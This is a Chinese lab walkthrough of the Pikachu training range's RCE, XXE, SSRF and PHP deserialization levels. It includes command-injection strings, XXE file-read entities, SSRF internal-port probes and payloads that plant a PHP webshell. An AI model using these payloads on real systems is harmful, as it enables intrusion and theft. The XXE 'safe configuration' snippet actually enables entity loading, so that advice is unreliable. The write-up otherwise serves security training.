Pikachu靶场从入门到精通(五):RCE、XXE、SSRF与反序列化漏洞实战
摘要:本篇是Pikachu靶场系列教程的第五篇,也是漏洞类型最为“硬核”的一篇,将带领大家攻克四个高危级别的Web安全漏洞模块:RCE(远程命令/代码执行)、XXE(XML外部实体注入)、SSRF(服务端请求伪造)和PHP反序列化漏洞。
RCE漏洞允许攻击者直接在目标服务器上执行任意系统命令或代码,是危害等级最高的漏洞之一。XXE漏洞利用XML解析器对外部实体的不当处理,可导致任意文件读取、内网探测等严重后果。SSRF漏洞则是利用服务器作为跳板,让服务端以自身身份向内部网络发起请求,从而绕过防火墙访问内网资源。而PHP反序列化漏洞则通过构造恶意序列化数据,在反序列化时触发任意代码执行。
这四个漏洞的共同特点是危害极大且原理较为抽象,对初学者来说理解门槛较高。本篇将从最基础的概念讲起,对每个模块按照关卡介绍→攻击思路→实操步骤→代码解析→防御方案的结构逐一通关,力求让零基础的小白也能真正理解这些高危漏洞的本质。
一、RCE(远程命令/代码执行)
1.1 基础知识
什么是RCE?
RCE(Remote Code/Command Execution),即远程命令/代码执行漏洞,是一种允许攻击者通过网络远程在目标服务器上执行任意系统命令或代码的高危安全漏洞。
RCE的两种类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| 命令执行(Command Execution) | 执行操作系统命令 | ping 127.0.0.1; whoami |
| 代码执行(Code Execution) | 执行编程语言代码 | eval($_POST['cmd']) |
RCE产生的原因:
应用系统从设计上需要给用户提供某些远程命令操作的接口——比如路由器、防火墙等设备的Web管理界面通常会提供ping操作功能。用户从Web界面输入目标IP,后台对该IP进行ping测试并返回结果。但如果开发者没有做严格的安全控制,攻击者就可以通过该接口提交“意想不到”的命令,让后台执行,从而控制整个服务器。
命令拼接常用符号:
在命令执行漏洞中,攻击者常使用以下符号来拼接恶意命令:
| 符号 | 名称 | 作用 |
|---|---|---|
& | 后台运行符 | 并行执行,不依赖前一条命令的成败 |
&& | 逻辑与 | 只有前一条命令成功时才执行后一条 |
\| | 管道符 | 将前一条命令的输出作为后一条的输入 |
\|\| | 逻辑或 | 前一条命令失败时才执行后一条 |
; | 命令分隔符 | 按顺序执行多条命令,无论前一条是否成功 |
1.2 exec“ping”——命令执行
关卡介绍
这是RCE模块的第一关。页面提供了一个输入框,让用户输入IP地址,后台会对该IP执行ping命令并返回结果。
攻击思路
程序直接将用户输入拼接到ping命令中执行,没有做任何过滤。攻击者可以在IP地址后面拼接额外的系统命令,利用&、&&、|、||、;等符号实现命令注入。
实操步骤
第一步:进入关卡
访问RCE的第一关页面,看到如下界面:页面有一个输入框,提示“请输入IP地址”。
第二步:正常测试
输入一个正常的IP地址,如127.0.0.1,提交后可以看到ping命令的执行结果。
第三步:尝试命令注入
在IP地址后面拼接系统命令,使用&符号:
127.0.0.1 & whoami 或者使用&&符号: 127.0.0.1 && whoami 或者使用;符号: 127.0.0.1; whoami第四步:观察执行结果
如果漏洞存在,页面不仅会显示ping的结果,还会显示whoami命令的执行结果(当前系统用户名)。
第五步:执行更多恶意命令
尝试读取敏感文件:
在Linux系统中: 127.0.0.1 & cat /etc/passwd 在Windows系统中: 127.0.0.1 & type C:\windows\win.ini代码解析
// rce_ping.php if (isset($_POST['submit']) && $_POST['ipaddress'] != null) { $ip = $_POST['ipaddress']; // 直接将用户输入拼接到系统命令中 $result = shell_exec('ping ' . $ip); echo $result; }漏洞原因:
使用
shell_exec()执行系统命令用户输入直接拼接到命令中
没有任何过滤或转义处理
防御方案
输入过滤:严格过滤用户输入,只允许IP地址格式(如使用正则表达式
/^(?:\d{1,3}\.){3}\d{1,3}$/)使用 escapeshellcmd():对用户输入进行转义处理
使用 escapeshellarg():将用户输入作为单个参数传递
白名单机制:限制允许执行的命令列表
避免使用系统命令:尽量使用编程语言内置函数替代系统命令调用
1.3 exec“eval”——代码执行
关卡介绍
第二关展示了一个更直接的代码执行漏洞。页面接收用户输入,然后使用PHP的eval()函数将输入内容作为PHP代码执行。
攻击思路
eval()函数会将字符串当作PHP代码执行。攻击者可以输入任意PHP代码,服务器会直接执行。例如输入phpinfo();可以查看服务器配置,输入system('whoami');可以执行系统命令。
实操步骤
第一步:进入关卡
访问RCE的第二关页面:
第二步:测试eval执行
在输入框中输入简单的PHP代码:
phpinfo();提交后,页面会显示PHP的配置信息,说明代码成功执行。
第三步:执行系统命令
输入系统命令执行代码:
system('dir');第四步:获取Webshell
输入一句话木马,在服务器上创建后门文件:
file_put_contents('shell.php', '<?php @eval($_POST["cmd"]); ?>');执行后,服务器根目录下会生成shell.php文件,攻击者即可通过蚁剑等工具连接。
代码解析
// rce_eval.php $html = ''; if (isset($_POST['submit']) && $_POST['txt'] != null) { // 直接使用eval执行用户输入的PHP代码 if (@!eval($_POST['txt'])) { $html .= "<p>你喜欢的字符还挺奇怪的!</p>"; } }漏洞原因:
使用了危险的
eval()函数用户输入未经任何过滤直接作为代码执行
eval()是PHP中最危险的函数之一
防御方案
禁止使用eval():永远不要在用户可控的输入上使用
eval()代码审计:定期检查代码中是否存在危险函数
输入验证:对用户输入进行严格的白名单验证
使用更安全的替代方案:如使用
json_decode()替代eval()处理数据禁用危险函数:在
php.ini中使用disable_functions禁用eval()、system()、exec()等函数
二、XXE(XML外部实体注入)
2.1 基础知识
什么是XML?
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言。它类似于HTML,但主要关注数据的结构化描述而非显示。
什么是XXE?
XXE全称XML External Entity Injection,即XML外部实体注入漏洞。当应用程序解析用户可控的XML输入时,如果XML解析器允许加载外部实体,且没有做严格的安全控制,攻击者就可以构造恶意的外部实体,让服务器读取本地文件、发起内网请求甚至执行远程代码。
XML实体(Entity)
在XML中,实体类似于“变量”,可以用于在文档中引用重复使用的文本。例如:
<!DOCTYPE foo [ <!ENTITY xxe "这是一个实体" > ]> <foo>&xxe;</foo>当XML解析器处理时,&xxe;会被替换为“这是一个实体”。
外部实体(External Entity)
外部实体允许从外部资源(如文件或URL)获取内容:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>如果解析器允许外部实体,就会读取/etc/passwd文件的内容并替换&xxe;。
XXE的危害:
读取任意系统文件(如
/etc/passwd、配置文件等)内网主机扫描和端口探测
远程代码执行(配合其他漏洞)
XXE可利用的协议:
不同语言支持的协议不同:
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
Java:http、https、ftp、file、jar、netdoc、mailto、gopher
2.2 XXE漏洞实战
关卡介绍
Pikachu的XXE关卡模拟了一个接收XML数据的API接口。页面提示“这是一个接收xml数据的api”。
攻击思路
攻击者构造包含恶意外部实体的XML数据提交给服务器,利用file://协议读取服务器上的敏感文件。
实操步骤
第一步:进入关卡
访问XXE关卡页面,可以看到一个文本框,用于输入XML数据。
第二步:测试XML解析
输入一个简单的XML,测试服务器是否正常解析:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "XXE测试" > ]> <foo>&xxe;</foo>如果页面显示“XXE测试”,说明服务器确实在解析XML,且支持实体引用。
第三步:读取系统文件
利用外部实体读取Windows系统文件:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo>&xxe;</foo>在Linux系统中:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>第四步:观察结果
如果漏洞存在,页面会显示win.ini或/etc/passwd的文件内容。
第五步:读取PHP源码
利用php://协议读取PHP文件源码:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" > ]> <foo>&xxe;</foo>返回的内容是Base64编码的,解码后即可获得PHP源码。
代码解析
// xxe_1.php $data = file_get_contents('php://input'); $dom = new DOMDocument(); // 加载XML并解析,没有禁用外部实体 $dom->loadXML($data); $result = simplexml_import_dom($dom); echo $result->name;漏洞原因:
DOMDocument默认允许外部实体解析没有调用
libxml_disable_entity_loader(true)禁用外部实体直接使用用户输入的XML数据进行解析
防御方案
禁用外部实体:在PHP中使用
libxml_disable_entity_loader(true);使用安全的解析器配置:
$dom = new DOMDocument(); $dom->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);过滤用户输入:对XML输入进行严格校验
使用白名单:限制允许的XML结构和内容
升级解析器:确保使用最新版本的XML解析库
三、SSRF(服务端请求伪造)
3.1 基础知识
什么是SSRF?
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种通过服务端发起恶意请求的安全漏洞。攻击者利用服务器未充分验证的输入参数,诱导系统向内部网络或受限资源发起请求。
SSRF的攻击原理:
攻击者向存在SSRF漏洞的服务器A发送构造好的请求,服务器A提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制,于是服务器A会以自身身份按照攻击者构造的请求向内网服务器C发送请求。内网服务器C将数据返回给服务器A,服务器A再把数据转发给攻击者。攻击者就这样利用服务器A作为跳板,实现了对原本无法直接访问的内网资源的访问。
SSRF的两个关键条件:
服务端具备对外发起请求的功能(如文件下载、API调用等)
未对用户输入的目标地址进行严格校验
SSRF的危害:
未授权访问内网服务(如数据库、中间件等)
内网端口扫描和服务探测
读取内网敏感信息
绕过防火墙访问受限资源
3.2 SSRF(CURL)
关卡介绍
第一关使用PHP的cURL函数发起请求。页面接收一个URL参数,后台使用curl_init()和curl_exec()访问该URL并返回结果。
攻击思路
攻击者修改URL参数,让服务器访问内网资源。例如,将URL改为内网IP地址(如127.0.0.1、192.168.x.x等),服务器会以自身身份去访问这些内网地址并返回结果。
实操步骤
第一步:进入关卡
访问SSRF的CURL关卡:
第二步:正常测试
输入一个正常的URL,如https://www.baidu.com,页面会显示百度首页的HTML内容。
第三步:探测内网
尝试访问本地的Web服务:
http://127.0.0.1:80/如果服务器返回了页面内容,说明内网服务可以被访问。
第四步:端口扫描
通过观察不同端口的响应时间和返回内容,判断内网开放了哪些端口:
http://127.0.0.1:22/ // SSH端口 http://127.0.0.1:3306/ // MySQL端口 http://127.0.0.1:6379/ // Redis端口第五步:读取本地文件
利用file://协议读取本地文件:
file:///c:/windows/win.ini代码解析
// ssrf_curl.php if (isset($_GET['url']) && $_GET['url'] != null) { $URL = $_GET['url']; // 用户输入的URL $CH = curl_init($URL); // 初始化cURL会话 curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); // 执行请求 curl_close($CH); echo $RES; }漏洞原因:
用户输入的URL直接被
curl_init()使用没有对URL进行任何过滤或白名单校验
允许访问任意协议(http、https、file等)
防御方案
白名单过滤:限制服务器只能访问特定的域名或IP
解析IP并过滤内网地址:将域名解析为IP,禁止访问内网段(127.x.x.x、10.x.x.x、172.16-31.x.x、192.168.x.x)
禁用不必要的协议:只允许http/https,禁用file、ftp等协议
禁用重定向:防止通过重定向绕过限制
限制响应大小:防止大流量攻击
3.3 SSRF(file_get_contents)
关卡介绍
第二关使用PHP的file_get_contents()函数发起请求。该函数不仅可以读取本地文件,还可以通过HTTP、FTP等协议读取远程文件。
攻击思路
与CURL关卡类似,攻击者修改URL参数让服务器访问内网资源或读取本地文件。file_get_contents()同样支持file://协议。
实操步骤
第一步:进入关卡
访问SSRF的file_get_contents关卡:
第二步:正常测试
输入正常URL,如https://www.baidu.com。
第三步:读取本地文件
利用file://协议读取本地文件:
file:///etc/passwd 或Windows系统: file:///c:/windows/win.ini第四步:内网探测
与CURL关卡类似,探测内网服务:
http://127.0.0.1/sqli-labs/第五步:PHP伪协议利用
利用php://协议读取PHP源码:
php://filter/read=convert.base64-encode/resource=ssrf_fgc.php代码解析
// ssrf_fgc.php if (isset($_GET['url']) && $_GET['url'] != null) { $URL = $_GET['url']; // 直接使用file_get_contents获取用户指定URL的内容 $content = file_get_contents($URL); echo $content; }漏洞原因:
用户输入的URL直接被
file_get_contents()使用没有对URL进行任何过滤
file_get_contents()支持多种协议
防御方案
白名单限制目标地址
解析并过滤内网IP
禁用危险协议
严格验证用户输入
四、PHP反序列化漏洞
4.1 基础知识
什么是序列化?
序列化(Serialization)是将对象的状态转换成一组可以存储、传输或持久化的数据的过程。在PHP中,serialize()函数负责将变量(对象、数组等)转换为字符串。
class S { public $test = "pikachu"; } $s = new S(); echo serialize($s); // 输出: O:1:"S":1:{s:4:"test";s:7:"pikachu";}序列化字符串的结构解析:
| 部分 | 含义 | 示例中的值 |
|---|---|---|
O | 对象(Object)类型标识 | O |
1 | 类名的长度 | 1 |
"S" | 类名 | "S" |
1 | 属性数量 | 1 |
s:4:"test" | 属性名(字符串,长度4) | test |
s:7:"pikachu" | 属性值(字符串,长度7) | pikachu |
什么是反序列化?
反序列化(Unserialization)是将序列化后的字符串恢复成原始对象的过程。在PHP中,unserialize()函数负责这个操作。
什么是PHP反序列化漏洞?
当应用程序接收并反序列化不可信数据,且未对反序列化过程进行有效控制和验证时,攻击者可以精心构造恶意的序列化数据,在反序列化时触发任意代码执行、远程命令执行等操作。
魔术方法(Magic Methods)
PHP中的魔术方法在特定条件下会自动调用,是反序列化漏洞利用的关键:
| 魔术方法 | 触发时机 |
|---|---|
__construct() | 创建对象时调用 |
__destruct() | 对象销毁时调用 |
__wakeup() | 反序列化时自动调用 |
__sleep() | 序列化时自动调用 |
__toString() | 对象被当作字符串使用时调用 |
__call() | 调用不存在的方法时调用 |
攻击者正是利用这些魔术方法在反序列化过程中的自动触发,构造恶意对象来实现代码执行。
4.2 PHP反序列化实战
关卡介绍
Pikachu的反序列化关卡展示了一个典型的反序列化漏洞场景。页面接收一个经过序列化的字符串,使用unserialize()进行反序列化。
攻击思路
攻击者需要:
分析目标代码中存在的类及其魔术方法
构造一个包含恶意代码的序列化字符串
提交给服务器进行反序列化
触发魔术方法执行恶意代码
实操步骤
第一步:进入关卡
访问PHP反序列化关卡,页面显示一个输入框。
第二步:查看源码
查看源码,发现存在一个S类:
class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } }__construct()当一个对象创建时被调用。
第三步:构造序列化数据
正常的序列化字符串是:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}攻击者可以将$test的值改为恶意的PHP代码:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}第四步:提交攻击payload
将构造的序列化字符串提交到输入框中。当服务器进行反序列化时,对象被创建时触发__construct()方法,弹出 alert 弹窗。
第五步:真正的攻击利用
要让代码执行,需要构造更精巧的利用链。如果目标代码中存在如下类:
class Evil { var $cmd = "whoami"; function __destruct() { system($this->cmd); } }攻击者可以构造:
O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}提交后,__destruct()会执行system('whoami')。
第六步:获取Webshell
class Shell { var $code = 'file_put_contents("shell.php", "<?php @eval($_POST[\"cmd\"]); ?>");'; function __destruct() { eval($this->code); } }对应的序列化字符串:
O:5:"Shell":1:{s:4:"code";s:67:"file_put_contents("shell.php", "<?php @eval($_POST[\"cmd\"]); ?>");";}代码解析
class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } }漏洞原因:
使用
unserialize()处理用户可控的输入没有使用
allowed_classes限制允许反序列化的类类中存在可利用的魔术方法(
__construct)
防御方案
禁止反序列化不可信数据:永远不要对用户输入使用
unserialize()使用
allowed_classes参数:限制允许反序列化的类$data = unserialize($input, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);使用JSON替代序列化:用
json_encode()/json_decode()替代serialize()/unserialize()输入验证:对序列化数据进行严格的格式和内容校验
代码审计:定期检查代码中是否存在危险的魔术方法和反序列化调用
总结
本篇主要学习 RCE、XXE、SSRF、PHP 反序列化四类高危 Web 漏洞,该部分技术原理偏深,在 Web 安全学习中尤为重要。其中 RCE 分为命令执行、代码执行两类,用户可控输入直接拼接进系统命令或代码从而执行恶意指令,可通过禁用高危函数、输入过滤、escapeshellcmd () 转义进行防护;XXE 漏洞依靠 XML 解析的外部实体功能,借助 file 协议读取服务器文件、http 协议探测内网,防御时调用 libxml_disable_entity_loader (true) 关闭外部实体解析即可;SSRF 依托 curl、file‑get‑contents 等服务端请求函数,把服务器当作跳板访问内网主机、扫描端口,防御手段为配置访问白名单、拦截内网 IP、封禁危险协议;PHP 反序列化漏洞则是程序直接将用户传入的不可控数据带入 unserialize () 函数,结合__destruct、__wakeup 等魔术方法触发恶意代码执行,防御上尽量不对外部数据做反序列化操作,还能通过 allowed_classes 参数限定可实例化的类。对比四类漏洞,RCE 和 PHP 反序列化危害等级最高,攻击入口与利用方式各不相同。在学习过程中,我们不能只单纯套用 Payload,要吃透底层原理、实操靶场复现漏洞,通过代码审计挖掘漏洞成因,同时建立防御思想,将不同漏洞进行组合串联,为后续复合型渗透攻击打下基础。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
